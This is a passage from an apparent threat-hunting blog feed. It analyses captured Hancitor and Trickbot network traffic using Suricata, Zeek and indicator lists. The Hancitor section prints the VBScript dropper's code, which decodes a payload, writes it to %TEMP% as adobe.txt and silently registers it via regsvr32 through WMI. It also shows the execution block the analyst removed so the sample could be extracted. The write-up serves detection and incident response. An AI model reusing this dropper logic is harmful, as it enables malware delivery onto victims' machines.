&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Function YZyNjfA(YRMVEpWm)
svNcfFav=&quot;&quot;
'Function siahdgfkiqadsf
ZBgKJYn=0
adsfsdasd=31
'numbers=3782347438234
'UBoundWhileFunctionEnds
Do While ZBgKJYn =&amp;lt; UBound(YRMVEpWm)
svNcfFav=svNcfFav+ChrW(YRMVEpWm(ZBgKJYn)-adsfsdasd)
'End Function
ZBgKJYn=ZBgKJYn+1
Loop
'.Close
YZyNjfA=svNcfFav
End Function
Dim GtYbDTHjR: Set GtYbDTHjR=CreateObject(&quot;Scripting.FileSystemObject&quot;): Dim etEWDmZOL: Set etEWDmZOL=CreateObject(&quot;ADODB.Stream&quot;)
With etEWDmZOL
.Type=2
.Charset=&quot;ISO-8859-1&quot;
.Open()
.WriteText YZyNjfA(SsfkRq)

.Position=0
.SaveToFile CStr(WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;).GetSpecialFolder(2)+&quot;\&quot;)+&quot;adobe.txt&quot;, 2
.Close
End With
Set HeJddyu=GetObject(&quot;winmgmts:Win32_Process&quot;)
With HeJddyu
.Create &quot;regsvr32.exe -s &quot;+CStr(WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;).GetSpecialFolder(Cint(&quot;2&quot;))+&quot;\&quot;)+&quot;adobe.txt&quot;,,,processid
End With
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a bit beyond my bailiwick of network analysis, but it appears that it is a timer that counts down by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;31&lt;/code&gt;, listens to a stream for a file that it writes as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;abobe.txt&lt;/code&gt;, and finally the file is registered as a DLL on the system.&lt;/p&gt;

&lt;p&gt;So, that’s great, but I wasn’t able to extract &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adobe.txt&lt;/code&gt; without some help. I called in a lifeline with the great Dustin Lee (&lt;a href=&quot;https://twitter.com/_dustinlee&quot;&gt;@_dustinlee&lt;/a&gt;) who suggested (correctly) to remove the part of the script that actually executes the binary and it should drop it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%TEMP%&lt;/code&gt;directory as denoted by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.SaveToFile CStr(WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;).GetSpecialFolder(2)+&quot;\&quot;)+&quot;adobe.txt&quot;, 2&lt;/code&gt;. So, I removed the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Set HeJddyu=GetObject(&quot;winmgmts:Win32_Process&quot;)
With HeJddyu
.Create &quot;regsvr32.exe -s &quot;+CStr(WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;).GetSpecialFolder(Cint(&quot;2&quot;))+&quot;\&quot;)+&quot;adobe.txt&quot;,,,processid
End With
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After removing that, I ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cscript SE670131329809.vbs&lt;/code&gt;, and there in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%USERPROFILE%\AppData\Local\Temp&lt;/code&gt; was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adobe.txt&lt;/code&gt;! Phew…from my foxhole, quite a hard fought collection.&lt;/p&gt;

&lt;p&gt;Okay, let’s look at the metadata here. Of note, it’s a DLL (which we expected from the DLL registration routine in the script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Create &quot;regsvr32.exe -s &quot;&lt;/code&gt;), it’s called “Windows Media Center Store ipdate Manager” (looks like a typo - nice indicator to search for).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/local/bin/exiftool adobe.txt
ExifTool Version Number         : 11.30
File Name                       : adobe.txt
Directory                       : .
File Size                       : 248 kB
File Modification Date/Time     : 2020:03:19 18:02:20-05:00
File Access Date/Time           : 2020:03:19 18:05:41-05:00
File Inode Change Date/Time     : 2020:03:19 18:05:41-05:00
File Permissions                : rwxr-xr-x
File Type                       : Win32 DLL
File Type Extension             : dll
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2020:03:10 06:41:39-05:00
Image File Characteristics      : Executable, No line numbers, No symbols, 32-bit, DLL
PE Type                         : PE32
Linker Version                  : 2.50
Code Size                       : 113152
Initialized Data Size           : 140288
Uninitialized Data Size         : 0
Entry Point                     : 0x1c000
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 6.1.7601.17514
Product Version Number          : 6.1.7601.17514
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Dynamic link library
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Company Name                    : Microsoft Corporation
File Description                : Windows Media Center Store ipdate Manager
File Version                    : 6.1.7601.17514 (win7sp1_rtm.101119-1850)
Internal Name                   : mcipdate.exe
Legal Copyright                 : © Microsoft Corporation. All rights reserved.
Original File Name              : mcipdate.exe
Product Name                    : Microsoft® Windows® Operating System
Product Version                 : 6.1.7601.17514
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Grabbing a quick hash and checking it on VirusTotal identified this as &lt;a href=&quot;https://www.virustotal.com/gui/file/291a4eb06358eca87fbc1f133ee162b6c532f4ec3e6f39c2646cde5de60e80f9/detection&quot;&gt;Hancitor&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Okay, moving on to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shop[.]artaffinittee[.]com&lt;/code&gt;, which as a reminder, we identified this by profiling DNS traffic above.&lt;/p&gt;

&lt;p&gt;There are three things that we can dig into:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wp-includes/sodium_compat/1&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;19fe0b844a00c57f60a0d9d29e6974e7&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wp-includes/sodium_compat/2&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;204f36fb236065964964a61d4d7b1b9c&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shop[.]artaffinittee[.]com&lt;/code&gt;’s IP address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;68[.]183[.]232[.]255&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s first see if anyone else went that IP address, which they didn’t, so we can list that as an indicator, but there’s nothing else to dig in there (we’ll do some IP analysis towards the end).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Grabbing the packets for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wp-includes/sodium_compat/{1,2}&lt;/code&gt;, we can see that we’re dealing with a binary file that we can probably do some analysis of.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When pulling the files apart, they’re binary files but they seem like they’re into the RE category, which is beyond my capabilities. Of note, they are listed as indicators by a DigitalSide OSINT TI list.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;2767&quot;: {
    &quot;md5&quot;: &quot;19fe0b844a00c57f60a0d9d29e6974e7&quot;,
    &quot;sha1&quot;: &quot;3505b4a6cd2f1bf3cb3628b9e3eb25c940ab559a&quot;,
    &quot;sha256&quot;: &quot;d1e56e455e3a50d8e461665e46deb1979a642b32710433f59e7a16fb5e4abada&quot;,
    &quot;url&quot;: [
        &quot;http://beta.artaffinittee.com/wp-includes/fonts/1&quot; &amp;lt;- note different URI, but same file
    ]
},
&quot;2768&quot;: {
    &quot;md5&quot;: &quot;204f36fb236065964964a61d4d7b1b9c&quot;,
    &quot;sha1&quot;: &quot;b383d4aedea5de89a73d2cfda9d3bfdef94540ea&quot;,
    &quot;sha256&quot;: &quot;4c8c3005642b01eb3db098b34ce3c7a089f12566bd67a7720c48e2fe751bfcb1&quot;,
    &quot;url&quot;: [
        &quot;http://beta.artaffinittee.com/wp-includes/fonts/2&quot; &amp;lt;- note different URI, but same file
    ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;So, using ROCK, we identified a malicious domain that led us all the way back through the compromise to the initial point of infection and collected several observations along the way. Check out the detection logic for signatures and analysis.&lt;/p&gt;

&lt;h2 id=&quot;detection-logic&quot;&gt;Detection Logic&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/huntops-blue/detection-logic/blob/master/hancitor.md&quot;&gt;Additional analysis, modeling, and signatures (KQL and Yara)&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;artifacts&quot;&gt;Artifacts&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;45[.]153[.]73[.]33 - Pony Downloader C2
thumbeks[.]com - Pony Downloader C2
/4/forum[.]php - Hancitor C2
/d2/about[.]php - Pony Downloader C2
/mlu/forum[.]php - Pony Downloader C2
freetospeak[.]me - Initial Infection
68[.]208[.]77[.]171 - Initial Infection
shop[.]artaffinittee[.]com - Part of Hancitor infrastructure
68[.]183[.]232[.]255 - Part of Hancitor infrastructure
5c9c955449d010d25a03f8cef9d96b41 - VBScript archive (0843_43.php)
8eb933c84e7777c7b623f19489a59a2a - VBScript dropper (SE670131329809.vbs)
6ad619702dad7c8fc1cefd3bc7967cf4 - Hancitor binary
19fe0b844a00c57f60a0d9d29e6974e7 - Part of Hancitor infrastructure (1)
204f36fb236065964964a61d4d7b1b9c - Part of Hancitor infrastructure (2)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Fri, 20 Mar 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/03/20/hancitor.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/03/20/hancitor.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>3/6/2020 - Trickbot Infection</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;362020---trickbot&quot;&gt;3/6/2020 - Trickbot&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/02/25/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/&quot;&gt;Trickbot information stealer background&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html&quot;&gt;gtag information stealer background&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We’ve done a Trickbot analysis before, but when I started poking around on this one, I found some indicators that weren’t being detected by Suricata and in pulling that thread, found indicators that hadn’t been previously reported anywhere, to include the binaries that I’ve carved from PCAP. By the publish date, there could be others who’ve found this, but as I’m starting this post (3/3/20), these haven’t been identified elsewhere.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: I changed the way I replayed my traffic this time by removing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t&lt;/code&gt; flag from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpreplay&lt;/code&gt;. While this takes much longer (2 1/2 hours in this specific case), but it makes for a better view of the event pattern of life.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s start with the known knowns - Suricata.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Curl, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myexternalip[.]com&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipecho[.]net&lt;/code&gt; are called out by Suricata, we know they’re bad because these PCAPs are bad and we’ve seen them used in other Trickbot infections, but we’re not going to sandbag and add them as “known bad” unless we can connect it to malicious traffic.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Walking through the image, we have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1&lt;/code&gt; as the highest. This signature is seen with a lot of trojans and is more of an “this event could be interesting” vs. a smoking gun. Applying this alert as a filter, we see the host &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.22.33.145&lt;/code&gt; is the source - which we can see (with no filters) makes up for 232 events, so I’m going to lean to say &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.22.33.145&lt;/code&gt; is a good host to focus on.&lt;/p&gt;

&lt;p&gt;The next alert is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET CNC Feodo Tracker Reported CnC Server group x&lt;/code&gt;, there are several of those for different “groups”. Filtering on them individually, it’s also &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.22.33.145&lt;/code&gt; as the infected host. With the volume here, I’m going to pop over and make a simple data table with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;destination.ip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source.ip&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert.signature&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Of note, there are 4 ports involved here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;447&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;449&lt;/code&gt; (both TLS) look pretty uniform across the alerts, but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;443&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8082&lt;/code&gt;, while hitting the same signature, appear to be different stages in the event, so we’ll take note of those and poke at those later.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Destination IP&lt;/th&gt;
      &lt;th&gt;Source IP&lt;/th&gt;
      &lt;th&gt;Signature&lt;/th&gt;
      &lt;th&gt;Tag&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;186[.]71[.]150[.]23&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 10&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;190[.]214[.]13[.]2&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 12&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;195[.]133[.]145[.]31&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 13&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5[.]2[.]77[.]18&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 19&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;85[.]143[.]216[.]206&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 23&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;66[.]85[.]173[.]20&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 20&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;93[.]189[.]41[.]185&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 25&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;203[.]176[.]135[.]102&lt;/td&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 15&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Eliminating those Feodo Tracker hits, what else is Suricata telling us?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In filtering out the above Feodo signatures, there was 1 other IP address that we’d not identified previously as well as the one that used port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8082&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192[.]3[.]124[.]40&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;203[.]176[.]135[.]102&lt;/code&gt;, respectfully). Additionally, there was some high-port to high-port communication coming from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192[.]3[.]124[.]40&lt;/code&gt;, which is interesting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s get out of the “known bad” identified by signatures, and go over to the Discover tab to see what else we can find out about the traffic. Let’s start with Zeek data and just those 2 IP addresses&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;event.module: zeek AND (source.ip: 192[.]3[.]124[.]40 OR destination.ip: 192[.]3[.]124[.]40 OR source.ip: 203[.]176[.]135[.]102 OR destination.ip: 203[.]176[.]135[.]102)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When we organize the data this way, we can see 2 connection groups that look the most interesting:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Source IP&lt;/th&gt;
      &lt;th&gt;Destination IP&lt;/th&gt;
      &lt;th&gt;Interesting Item&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;203[.]176[.]135[.]102&lt;/td&gt;
      &lt;td&gt;Suricata hits w/port 8082&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;192[.]3[.]124[.]40&lt;/td&gt;
      &lt;td&gt;Suricata hits w/PE downloads&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;I’ll target the unencrypted traffic and pull some packets out and do some analysis.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s start with the PE downloads. There are 2 ways to collect them:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Carve from PCAP w/Docket&lt;/li&gt;
  &lt;li&gt;Leverage the file extraction feature of Zeek.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These have names that we’ve seen in my previous analysis of &lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/index.md#2212020---trickbot-gtag-wecan23-infection&quot;&gt;Trickbot&lt;/a&gt;, (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mini[.]png&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lastimage[.]png&lt;/code&gt; x2). Of note, these samples are not in VirusTotal as of 3/3/2020. Their hashes are in the Artifacts section as well as Yara signatures in the &lt;a href=&quot;https://github.com/huntops-blue/detection-logic/blob/master/trickbot.md&quot;&gt;Detection Logic&lt;/a&gt;. This looks to be Trickbot traffic.&lt;/p&gt;

&lt;p&gt;Moving onto &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;203[.]176[.]135[.]102&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that the HTTP POST connections appear to be uploading some data &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/red4/DESKTOP-5N98NBB_W10018363.8DB232C0E83418B2F3D90BF34165F326/81/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/red4/DESKTOP-5N98NBB_W10018363.8DB232C0E83418B2F3D90BF34165F326/90&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/90&lt;/code&gt; is provided by Suricata logs, not Zeek). This looks like host identification information to a server named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cowboy&lt;/code&gt; (which we’d also seen in our previous Trickbot analysis).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking at all of this traffic, it looks like the hash values and infrastructure have been changed from previous intrusions, but not the TTPs used by the aggressor.&lt;/p&gt;

&lt;p&gt;Let’s look back at some of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;447&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;449&lt;/code&gt; traffic we identified earlier and see if there are any IPs that we didn’t catch with Suricata…and 3 new IPs that didn’t trip a Suricata alert.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;170[.]84[.]78[.]224&lt;/li&gt;
  &lt;li&gt;212[.]109[.]220[.]222&lt;/li&gt;
  &lt;li&gt;85[.]204[.]116[.]84&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking at them in Discover, there are a lot of failed connections (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RSTO/R&lt;/code&gt; - aborted by the originator/responder and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S0&lt;/code&gt; a connection attempt seen, but no reply), so let’s add that to the data table and see. Here we’ve got a new IP.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;5[.]255[.]96[.]115&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Having reset or failed connection attempts isn’t necessarily a guaranteed bad, but when we’re seeing the same traffic profile (port 447, 449, high-port to high-port) in conjunction with the resets…and some OSINT research also associates them with Trickbot, I’m going to categorize this as “bad”.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There’s been a lot here, so to round out, I decided to look through the TLS logs to see what we can see. As with all of this, it’s a bit of looking for needles in a needle stack, but the process is the same.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that there is some SSL Subjects that certainly look suspect. When we look at some of the IP addresses, we can see that they’re from known bad actors (ex: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;85[.]143[.]216[.]206&lt;/code&gt;).&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Source IP&lt;/th&gt;
      &lt;th&gt;Destination IP&lt;/th&gt;
      &lt;th&gt;Interesting Item&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;85[.]143[.]216[.]206&lt;/td&gt;
      &lt;td&gt;CN=example.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;5[.]2[.]77[.]18&lt;/td&gt;
      &lt;td&gt;CN=example.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;66[.]85[.]173[.]20&lt;/td&gt;
      &lt;td&gt;CN=example.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;5[.]2[.]77[.]18&lt;/td&gt;
      &lt;td&gt;CN=vps31656725&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;186[.]71[.]150[.]23&lt;/td&gt;
      &lt;td&gt;ST=Some-State&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;190[.]214[.]13[.]2&lt;/td&gt;
      &lt;td&gt;ST=Some-State&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.22.33.145&lt;/td&gt;
      &lt;td&gt;5[.]182[.]210[.]226&lt;/td&gt;
      &lt;td&gt;CN=img[.]bullforyou[.]com&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Of extreme note, are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5[.]182[.]210[.]226&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=img[.]bullforyou[.]com&lt;/code&gt;. These are new indicators and in searching them online, I wasn’t able to find much research (as of 3/3). In digging into &lt;a href=&quot;https://censys.io/certificates?q=Bullforyou.com&amp;amp;page=1&quot;&gt;the certificate analysis&lt;/a&gt;, you can see that this domain had several subdomains for multiple states. In doing some additional research, this shows up just 2 times (ex: &lt;a href=&quot;https://www.joesandbox.com/analysis/203441/0/pdf&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://www.joesandbox.com/analysis/208271/0/html&quot;&gt;2&lt;/a&gt;), but even though this is in bad PCAP, I’m going to put this into the “bad” category as I really feel like this is C2. If anyone has other observations or opinions, I’d love to hear them.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-8-20-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;detection-logic&quot;&gt;Detection Logic&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/huntops-blue/detection-logic/blob/master/trickbot.md&quot;&gt;Additional analysis, modeling, and signatures (KQL and Yara)&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;artifacts&quot;&gt;Artifacts&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;5[.]2[.]77[.]18 port 447 (Trickbot, GTAG, Red4 TLS traffic)
5[.]255[.]96[.]115 port 443 (Trickbot, GTAG, Red4 TLS traffic)
85[.]143[.]216[.]206 port 447 (Trickbot, GTAG, Red4 TLS traffic)
85[.]143[.]220[.]73 port 447 (Trickbot, GTAG, Red4 TLS traffic)
186[.]71[.]150[.]23 port 449 (Trickbot, GTAG, Red4 TLS traffic)
190[.]214[.]13[.]2 port 449 (Trickbot, GTAG, Red4 TLS traffic)
195[.]133[.]145[.]31 port 443 (Trickbot, GTAG, Red4 TLS traffic)
66[.]85[.]173[.]20 port 447 (Trickbot, GTAG, Red4 TLS traffic)
